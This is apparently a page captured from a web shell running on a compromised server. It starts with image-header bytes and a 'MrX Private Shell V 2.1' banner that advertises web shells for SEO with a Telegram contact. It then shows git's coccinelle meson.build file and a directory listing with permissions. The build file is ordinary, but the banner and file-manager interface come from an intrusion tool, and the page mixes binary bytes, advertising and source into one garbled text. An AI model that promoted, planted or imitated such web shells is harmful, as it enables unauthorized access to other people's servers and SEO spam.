����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
coccinelle_opt = get_option('coccinelle').require(
fs.exists(meson.project_source_root() / '.git'),
error_message: 'coccinelle can only be run from a git checkout',
)
spatch = find_program('spatch', required: coccinelle_opt)
if not spatch.found()
subdir_done()
endif
rules = [
'array.cocci',
'commit.cocci',
'config_fn_ctx.pending.cocci',
'equals-null.cocci',
'flex_alloc.cocci',
'free.cocci',
'git_config_number.cocci',
'hashmap.cocci',
'index-compatibility.cocci',
'object_id.cocci',
'preincr.cocci',
'qsort.cocci',
'refs.cocci',
'strbuf.cocci',
'swap.cocci',
'the_repository.cocci',
'xcalloc.cocci',
'xopen.cocci',
'xstrdup_or_null.cocci',
'xstrncmpz.cocci',
]
concatenated_rules = custom_target(
command: [
'cat', '@INPUT@',
],
input: rules,
output: 'rules.cocci',
capture: true,
)
coccinelle_sources = []
foreach source : run_command(git, '-C', meson.project_source_root(), 'ls-files', '--deduplicate', '*.c', third_party_excludes, check: true).stdout().split()
coccinelle_sources += source
endforeach
coccinelle_headers = []
foreach header : headers_to_check
coccinelle_headers += meson.project_source_root() / header
endforeach
patches = [ ]
foreach source : coccinelle_sources
patches += custom_target(
command: [
spatch,
'--all-includes',
'--sp-file', concatenated_rules,
'--patch', meson.project_source_root(),
'@INPUT@',
],
input: meson.project_source_root() / source,
output: source.underscorify() + '.patch',
capture: true,
depend_files: coccinelle_headers,
)
endforeach
concatenated_patch = custom_target(
command: [
'cat', '@INPUT@',
],
input: patches,
output: 'cocci.patch',
capture: true,
)
alias_target('coccicheck', concatenated_patch)
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| tests | Folder | 0755 |
|
|
| README | File | 5.77 KB | 0644 |
|
| array.cocci | File | 2.2 KB | 0644 |
|
| commit.cocci | File | 1 KB | 0644 |
|
| config_fn_ctx.pending.cocci | File | 2.03 KB | 0644 |
|
| equals-null.cocci | File | 218 B | 0644 |
|
| flex_alloc.cocci | File | 266 B | 0644 |
|
| free.cocci | File | 362 B | 0644 |
|
| git_config_number.cocci | File | 226 B | 0644 |
|
| hashmap.cocci | File | 254 B | 0644 |
|
| index-compatibility.cocci | File | 1.79 KB | 0644 |
|
| meson.build | File | 1.76 KB | 0644 |
|
| object_id.cocci | File | 1.1 KB | 0644 |
|
| preincr.cocci | File | 36 B | 0644 |
|
| qsort.cocci | File | 610 B | 0644 |
|
| refs.cocci | File | 1.5 KB | 0644 |
|
| spatchcache | File | 7.29 KB | 0644 |
|
| strbuf.cocci | File | 843 B | 0644 |
|
| swap.cocci | File | 257 B | 0644 |
|
| the_repository.cocci | File | 1.77 KB | 0644 |
|
| xcalloc.cocci | File | 96 B | 0644 |
|
| xopen.cocci | File | 295 B | 0644 |
|
| xstrdup_or_null.cocci | File | 70 B | 0644 |
|
| xstrncmpz.cocci | File | 478 B | 0644 |
|